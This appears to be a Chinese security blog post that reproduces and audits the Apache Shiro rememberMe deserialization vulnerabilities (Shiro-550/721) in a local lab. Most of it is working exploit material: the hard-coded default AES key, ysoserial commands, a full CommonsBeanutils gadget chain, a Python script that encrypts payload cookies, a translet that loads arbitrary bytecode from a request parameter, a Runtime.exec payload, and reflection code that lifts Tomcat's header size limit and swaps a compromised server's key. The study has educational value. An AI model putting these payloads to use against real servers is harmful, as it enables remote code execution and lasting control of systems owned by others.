shiro反序列化复现与审计

shiro反序列化

shiro介绍

Apache Shiro 是一个强大易用的 Java 安全框架,提供了认证、授权、加密和会话管理等功能,对于任何一个应用程序,Shiro 都可以提供全面的安全管理服务。

漏洞原理&复现

shiro550

原理

shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。shiro550的影响版本为<1.2.4

复现

搭建环境,自己搭我就不给教程了

页面中有Remember me选项,抓包

然后用工具梭

注意jdk版本

shiro721

原理

shiro550出现后,之后的shiro版本就不将明文密钥写在代码里了,并且密钥是由代码随机生成,很难爆破。加密方式从AES加密升级为AES-128-CBC,而且只有存在有效的用户信息时才会进入下一阶段的流程。所以我们需要先拿到认证登陆后的rememberme字段,作为前缀,然后利用Padding Oracle Attack来生成payload

Padding Oracle Attack简单来说就是爆破,它利用了Shiro框架中的身份验证过程中的一个漏洞,该漏洞允许攻击者通过填充信息的不同响应时间来确定身份验证过程中的错误。通过不断尝试不同的填充方式,攻击者可以逐步推断出加密秘钥,并最终获取访问权限。

复现

vulhub拉镜像

docker pull vulfocus/shiro-721

docker run -d -p 8080:8080 vulfocus/shiro-721

先随便登个号,然后抓包拿他的rememberme字段

rememberMe=z63r2ti73BWfumHZATvNiuhtUkLNGsVajLhOfAm/ifOU2QnIHBSxbB5ASOVVurx/XzjsFs0+aQArAMyW+trb8DFIdBxGdmoLFGTcStU6jt9qiPHmhGMVt1lDd6BYs7AxzpxyIeTIwJhsq2Wzm9lO/QUHUMSLUi+XlM8qpU4R9skmNxt2xhyFUaPj+W+7J6yh89841dLHfe4ojJcFPSKSD/uUP+l+8H6xjr0CSXx7yFvUfslxHZ5HwNdjPkDGZAiWn2g9DW4uVd0A5GFceuYBpHT5xlF8W0q7XZGGrq+vpdXiRBDgTOOY5NAQRh05TeYV9A6QhjgfbLwU1Z13QbAgr+TZwQozuP8NL4KxlnKO3XQw8my+6fqW2jvP1xh3A/ncCdHmN4BKtJYGhi9eTj6PMzOpgpvMDcNfJLYBrEJ/yTOL4DtxjEn1Pk5AmZyfsc2cSsvcLuJJtYVgtTO3J9j3mAjdfU9WmBiOb00H6+KrudMp2h3OP/R9hK8OYJikQh6Q

然后用yso来生成链子

java -jar ysoserial.jar CommonsBeanutils1 "whoami" > payload.class

然后用脚本来生成加密后的payload

python2 shiro_exp.py http://192.168.184.133:8080/ KFgFC/0SOVqaumgDVwn3TtaCPBR06+gMECyd7kXOfIW5gbZa/TsqhkKpu4PcYXSu8D+ROhDCAoRtyhXHbRo/ce8RQpz/O1J/Fb1ebUglehCqBIUKz3lzo5U3bt+WVJKCgblnr9tAvQ8JDbFl/IAQUG2P9Jv/wduPdEGYkZ064D2nqH7Day+CtwyN5toV5LWi27YG0nl6daJt8EWd7RKHD710I0ani8oay8wxhHfF0878te65KOHDIK7QlIYbAKGNr3TViZnekKdx9eoaVkK0ye2D0jVy0ClTEieYj2iMuhLPFIqLY2ox6ydGko1nqPySfsUp9opZEKx/69JOPptacYzeIQ/lLF+myYT9EYsTGlAzjh476Xk7BymVOt1zzxRPcREwQwgm1lZ3RojyMArsEt2PavbRoVpqb33FU1R6jMiEC/SyMMClRqTK4pQkaGYLe6HNcY3KteuWYbXVboublL01itXJ6El0gpxIGcQQ5XM0MApsyn3L4zcpQh1DP1ia ./payload.class

放在rememberme字段提交即可

rememberMe cookies:
fhYcHlRD6jhY/I/zcxO0foGrJfgTwIytcPd803L133I2rRM4yGqRT9TwHuwr1LH2TDO3q2xxWbev5yBSSvZvuYhe00DVybNmaG7O7XgO/PCh90d2QAREgFBvVbay/a8Jjy4WZm6OjV/fzvIapktd4QWoekxV1DCnbSr4C6mCQexEE7Kj/idRMIWlteYWmiERuUz/WJoNN8v+hCLNIR56w1XMQnup87l2ZiU0H1D2Hk0kjzjL4RBlTTvXlzQkRRq9KqJR9OaNMxnNroAoc2vzjiTuRK3JVyXvaoegRY6buQ1vJ/0KoB388c/L9gbxSATeZVPHlNWye4esA745Cc7/6984KVkt5LA12l4iaSGst32D+9GS2RvldSwU0V5q9suAD5VfkV6BphVVTx2W1TvAVvHz7c6X/fqoOZ651Hv0Zw4CAYBWfH+Qj3pUuLVX+PR87g1ZlXa1NadEkDNijLeWOkdiNPlgETw3uhfPW8tPHdTFvl0DrqbPRvhoNtc19SB8EFo4/qVUlrWbwUOP5YuhIVmfe8CwhCxqGQohqXVfHEr8+FlGc6plasUbToQQABADnP+BHJOaMlA23N0MMey73fDsYljHRQXn7yZZqRQw4/cvU3ZQNMlwoTvy13X9B9g/Kn+SZC702js+1P679t8AqjYkjiBA8w8aWUXsW/THjoSyLpHMNqhgZnsdV3ZNkpf1ILiqi26hCeuEgukKRMb2r4TyIdFRdHeM3VFpuN9X62DAQ5QRtbr+13EyTCqGI39djPE9maa63FBKGSWFwIB7PW8ZQB6Dx70d3jWMXK++JovX0PGO2N6pV7Otsk0TX+J5LCGP5vwbYiC98A32wY7/eC6wSwHlnmt0kRShOr6WL7JcQ7W+QyTuVDQCS/hWH2FmlIlQfu3mZpcYvKja5O4h7L1FLbEPy7i6Uu8lfpfS9atxFZGNEwGu/RmN459iljNfdiHG6OYwVEN3pR56hOSlTzMjsiVnoBC0uLNMolZLIY7i01WoqbKKMyt7wj6s4wVcw48FrIjTWkxapYlvmevRlJJw64gXjXi6EuoWI6hawKC4iXnzvw+sErRUMCIzPLml7h6lSD1FcQEqA5kViwpXM7LNmH11nccPS4yvaHC0BDqEpKgOVp8j3jwSZ/F+EPiST21pDoKceXjLNGZx2I8XSCsjH9N6pk708Ye7SoMFNJXQOlJG6Rsmk5LFlzjfjStI2WhiQR4xCWEibdNDb+v3Th0gets87jVy332TqAWnUOLCyChlMkOrJMuvW5/M1527ZLXEczXBIV7sEsK/9MNY1knfLJHOoj7zJtSyW19J7n0XyOKl5L9mFOZ0QqNt5pURAe2f2B9HMvk4pTES9lRSNCCFEaDVqWtDoEOLSaHRcrtNhdQ7XuRUPW/kj8f7BjCDxkFZftqixwjzvFrduoKRmKDmgkzgcyOrSrKqwQ2wZYl8JGW22r33+zE4FMmdjCnlyUdCLRs7j8fbAauf7XS3e+aQ1yvlTCoYiITxzZjD7WW6nYlXig7q7YugbRXs3HpHE9oks/8VpiJg+PZaaOLle+43cv3GHHpx7M9mOl9eXpgWw8B7WQxr4m+uC6F5M4LBLX1hUCUxz9JsyQ4fSBgADaK/qbrjLZ7ig8UqOKa6CPp9ABB9/MDjVYkIGIE7+raX6mPnGi5M9H5HSgQGlHWnKlPTBtl36E6jHW4WapTH+YhuTRnKiaRR0NvD8XAamOh02bXuJO449Bc6yGWIdsItpAOKAhWWwpGRJLwKczmzy2+b2KsvAlYpudH9MOdljlaxLz2D14H9QQmDARueqcu7q3ISJbgb5cUUf3X6LMDqxHggoxGBBvliAxBZdaAslOisknt/gLaOZpH6zwuLqkzGxfxWkNtnECc2hRSpOa1FXqpPH5m5AqYCAkisrOuAC1flzGrDWXBgUGAudAakPyKVSBr4nIZ93WnaU8qQEyvMNuAOeNmLWAdn0+pm1usKmg0T4PjEyHVRyDGvsFwCDMgeCGKdfUdgaKVAAXwh0WrCXQRTo5AV4gyFBYNvVJNFkBky02mFXasz4lFihgR1eX32B8cy4xshEYJUIH16D915wOug2kfwuoP7v9gmWlfJoZRJeXC5Xslz0JUFkTB8JyGC0V7xNAAeFCs93hNzjLc+p1T4gh0u3FaKLbtFgqJVi/Q1XiBpTLO5LoTfthFqQtl/JKdptXQf6duMJyP2q56cBjUwNGwfbMWk5BisG2is8tf5jSirihigzPbSKN/OOAx7Bs2z5pIwp5cwwMx+xR3r6OxVS+hgMJoWhNWsSQjYVj8+7Xc1CAX4iGStrWrMqW+L1mbi0eE/ypx796MA/mostrrvXCrKk8oux67yI77m+nsoZtign3SLdRa9KspstiURLTzPAIKIYnHvYLEh+tH+IpnZcmRiiQBTkoj1xiajSZzuEcSIgT/9Wp3qC4Ltak/4jhMFihptSyQF8d4zMA2pily3OwbHRFcJYPFuGpz1pPIxBhs8hCI4CIoy60PLm9vkqzScsWVXQIVeuGNgQTg9dcdJJeIpf197YJDIqYVULfC+Qs3+5PEZ0Tn9jI40/pDHdOKTNdHc5JVwQeRnazW1owH8Iyj4tngSLXuZAO1u4D+lROVR/4xaQGU0HydquCYRxslKKjlf4M3ZW0qIJlMogOd2Rlt0MjUpqgQqfNhp5WCKdCCDPjciVRIRjsVao48YkiDsREvhyxytPBuPvuuoaZfsE3sE8A/ATQ/zqh0b0x6FcixKXJVOn7OWUg1TUXsp+J3LjRy0hcmW8rd4NzFvunF6gbSXMZIVm1+EoYZyssZRyBXSTiGKAmMvNiT92NJ49F/jmgVI+9n6iU3BA5IYtC4jX2dV157N7T0boqGTqneYeD+fTMfkQ9b+SrsILKZjzv1kNyUX405RiH70iPQ/KMQpAGYUa3ZV6WTaMYgK9dstgE4ViBUf86wD0IkuccvsrdaHD+tBvYg6+R4PPnT2B1XmAVwB6z7SgxrNsnpAHx2rMwE/mizCKuEJqo2IP6MODURQN7iDAAspKT0x7zfYniKxlugAkZ8tb+7aj4Hdgjm7WQ7yABa0XtPMSH4sIFZPvneF1v2EwjvICu4A60xebgy13wv+CSMY2Ntrn6dNpTcnpK7unMVPP0hj9RrGS8qPY6CBGvx8axogfjHLZ2OGwIH7Xp2z/z6GjpsdlzyfVKZvq1tarPiyCzLeF7xVfRsW7LZfcTcxMOOxY74q7j4ywnZjyzAljd13eR8HfTHVZVnPz9Ph5HbzHTU4LEYPkSYEaSM8Z3XLxurl+pOWTeWQZxvyTLtWyGPN09NbcYvBLyb0CjPAwZE7g7tU77//p68bNYyCQiY/lrE2jPOJo1W0Tg4Z/PQ9nIbGUf+EFAVB4xH68LQDxGf8mIE3FKTYij9ZZNpBfGHry9A5sqqqAtiWh7VNgEJ5cs/th5UERDxTM8q7bOpfE1acjk86JOevXQYwe5Av4AMMIneh1IfBac4HZ+WM09+5js8gW8iPgd0tvzhRZvL5el02qODGZfjO1prhVmWS/w5cNCUGPblZ5IPDdQNmfy/EQUh/0N3vVnA54LDHAx06mNPdxPxJQjo8KRx9NhzMPQvKTsAzGq6p5KOe1vLjaZrPgMzrbvL9Qm9DwD3035oIrTI/BtrV45D0ylHhKYoiRK6QWzOM3VKTPGEr+YRnxptZF3mVB4Xa/aBEryWyAAAAAAAAAAAAAAAAAAAAAA==

代码审计

shiro550

首先在lib库中打开

可以单独打开lib文件夹,然后右键shiro-core-1.2.4.jar点击,添加到库...

找到下面这个文件

D:\data\idea\shiro\shiro550w\shirodemo\target\shirodemo\WEB-INF\lib\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class

forgetIdentity()函数是处理 request 和 response 请求,这里不是重点

rememberIdentity()函数就是获取用户名然后进行加密转换的函数

getIdentityToRemember()是获取用户id的函数

rememberIdentity()是具体处理后续逻辑的函数

convertPrincipalsToBytes()会将用户id转换成字符

具体操作就是先序列化,然后调用encrypt()

可以看到他的加密逻辑就是先进行aes加密,密钥是由getEncryptionCipherKey()得到的,跟进这个函数我们会发现,这个key就是一个固定的值:kPH+bIxk5D2deZiIxcaaaA==

再返回到rememberIdentity,跟进rememberSerializedIdentity()发现是一个抽象类,我们要去找他的实现类

cookieremembermemanager

这里就是直接将处理过后的字节写到cookie里了

总结一下,它整个的处理过程就是:

  • 将用户id进行序列化
  • 用固定的密钥再进行aes加密
  • 将结果进行base64编码
  • 将最后的结果写到cookie的rememberme字段中

shiro721

这个版本的shiro处理cookie和550的类似就不做分析了

shiro其他利用思路

shiro反序列化漏洞攻击拓展面--修改key

改key这个操作主要用于awd比赛中,比如说你已经通过工具爆破出了session key,并且可以代码执行,我们为了防止key被别的队伍轻易爆破出来,我们就需要采取改key的手段。

shiro <= 1.2.4默认是将key写在AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES字段,当然还有其他方式配置文件、配置类等也是可以的。这里的DEFAULT_CIPHER_KEY_BYTES字段是权限是private static final, 只能通过反射方式去修改这个值。

由于权限太死太小,一般直接调用反射是无法进行直接的修改。值得庆幸的是key是字节数组类型,而不是int、String等基本类型,不然得通过反射修改之后还得通过反射调用才能获取修改后的值。这里给个代码示例:

我们得出得修改decryptionCipherKey和encryptionCipherKey的值,目前有两种解决方案:

  1. 拿下目标之后直接对目标的配置文件就行修改,然后重启服务。
  2. 利用filter内存马思维去修改shiroFilterFactoryBean中的encryptionCipherKey和decryptionCipherKey的值。

显然重启服务是一个不可取操作,那么只剩下filter内存马方法。这里直接给出解决代码:

    @RequestMapping("/say")
    public String HelloSay(HttpServletRequest request , HttpServletResponse response) throws Exception {
        ServletContext context = request.getServletContext();
        Object obj = context.getFilterRegistration("shiroFilterFactoryBean");
        Field field = obj.getClass().getDeclaredField("filterDef");
        field.setAccessible(true);
        obj = field.get(obj);
        field = obj.getClass().getDeclaredField("filter");
        field.setAccessible(true);
        obj = field.get(obj);
        field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
        field.setAccessible(true);
        obj = field.get(obj);
        field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
        field.setAccessible(true);
        obj = field.get(obj);
        java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
        byte[] bytes = java.util.Base64.getDecoder().decode("3AvVhmFLUs0KTA3Kprsdag==");
//                    java.util.Base64.getEncoder().encode(bytes);
        setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
        java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
        setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
//        response.
//        response.getClas
        response.getWriter().println("ok");
        response.getWriter().flush();
        response.getWriter().close();
        return "ok";
    }

修改shiro的filter逻辑进而修改加解密key,其实和打filter内存马逻辑差不多。只是打内存马是添加一个filter,然后将添加的filter处理逻辑移到第一个处理。修改key是原本的处理逻辑就有存在filter,但将原本的filter修改逻辑,将key的字节修改成设置的key。

shiro绕过请求头长度限制

大概有三种思路

  1. 从外部或从 HTTP 请求 body 中加载类字节码,header头中的payload仅仅实现读取和加载外部字节码的功能
  2. 反射修改 AbstractHttp11Protocol 的 maxHttpHeaderSize
  3. class bytes使用gzip + base64压缩编码

方法一:从外部或从 HTTP 请求 body 中加载类字节码

1.构造请求头中的类加载器

  • 新建项目修改pom,添加如下两个依赖,一个是tomcat的,一个是springframework的。
<dependencies>
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>8.5.50</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-web</artifactId>
        <version>2.5</version>
    </dependency>
</dependencies>
  • 构造header头的类构造器
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            //获取到当前请求的request对象
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            //反射获取request对象的request参数
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            //获取当前request的response对象
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            //获取当前request的session对象
            javax.servlet.http.HttpSession session = request.getSession();
            //获取当前request对象的请求参数classData
            String classData=request.getParameter("classData");
            //将获取到的classData里面的内容base64解码成byte[]对象
            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            //类加载器反射获取defineClass方法,这里调用的方法是defineClass(byte[] b, int off, int len)
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            //defineClassMethod调用执行
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            //将执行结果传入到request、response、session三个对象
            cc.newInstance().equals(new Object[]{request,response,session});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
    }
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
    }
}
  • 编译获取class文件

2.构造CB链进行序列化

代码如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Collections;
import java.util.PriorityQueue;
 
 
public class CommonsBeanutilsShiroPayload{
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        //1.构造TemplatesImpl对象,其中code就是读取第一步构造好的类加载器。
        byte[] code = Files.readAllBytes(Paths.get("C:\\tools\\fuxian\\bianyi\\target\\classes\\MyClassLoader.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
 
        //2.实例化BeanComparator,其中comparator的部分就用我们找到的替换类
//            BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
 
        //3.实例化优先队列PriorityQueue,如下因为我们上面comparator是String类型,所以在add的时候要用String类型的字符串。
        PriorityQueue queue = new PriorityQueue(2,comparator);
        queue.add(1);
        queue.add(1);
 
        //4.反射将property 的值设置成恶意的outputProperties ,将队列里的两个1替换成恶意的TemplateImpl 对象
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
 
        //5.序列化到文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
        oos.writeObject(queue);
        oos.close();
    }
}

执行完之后获取到序列化好的test.bin文件

3.构造rememberMe字段内容

通过以往的构造payload的exp.py代码如下, 将如上制作好的test.bin复制到这个exp.py同目录下

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data

def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    # test.bin为编译好的序列化链的内容
    data = get_file_data("test.bin")
    print(aes_enc(data))
  • 复制b' '之间的内容到burpsuite的cookie中rememberMe字段中备用。

img

4.构造字节码代码执行文件

此处为了验证可以执行外部字节码内容,我们构造一个弹计算器的payload如下:
此处遇到一个坑,如果写static静态函数来代码执行的话,会一直报错,提示 java.lang.InstantiationException: CalcTest,网上查找原因是因为反射调用invoke的时候需要执行无参构造函数的,所以这里直接写了无参构造函数。

#CalcTest
public class CalcTest {
    public CalcTest() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}
  • 将其编译
javac CalcTest.java
  • 获取其base64编码内容
cat CalcTest.class |base64|sed ':label;N;s/\n//;b label'

将如上base64编码的内容复制到burpsuite中,作为calssData的值,在发送请求,即可执行字节码中的内容,弹出计算器。

方法二:反射修改 AbstractHttp11Protocol 的 maxHttpHeaderSize

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 
@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {
 
    static {
        try {
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
            java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
            contextField.setAccessible(true);
            headerSizeField.setAccessible(true);
            serviceField.setAccessible(true);
            requestField.setAccessible(true);
            getHandlerMethod.setAccessible(true);
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
            for (int i = 0; i < connectors.length; i++) {
                if (4 == connectors[i].getScheme().length()) {
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                        for (int j = 0; j < classes.length; j++) {
                        // org.apache.coyote.AbstractProtocol$ConnectionHandler
                            if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                globalField.setAccessible(true);
                                processorsField.setAccessible(true);
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                for (int k = 0; k < list.size(); k++) {
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                  // 10000 为修改后的 headersize
                                    headerSizeField.set(tempRequest.getInputBuffer(),10000);
                                }
                            }
                        }
                         // 10000 为修改后的 headersize
                        ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                    }
                }
            }
        } catch (Exception e) {
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

方法三:class bytes使用gzip + base64压缩编码

posted @ 2025-04-13 17:08  Litsasuk  阅读(179)  评论(0)    收藏  举报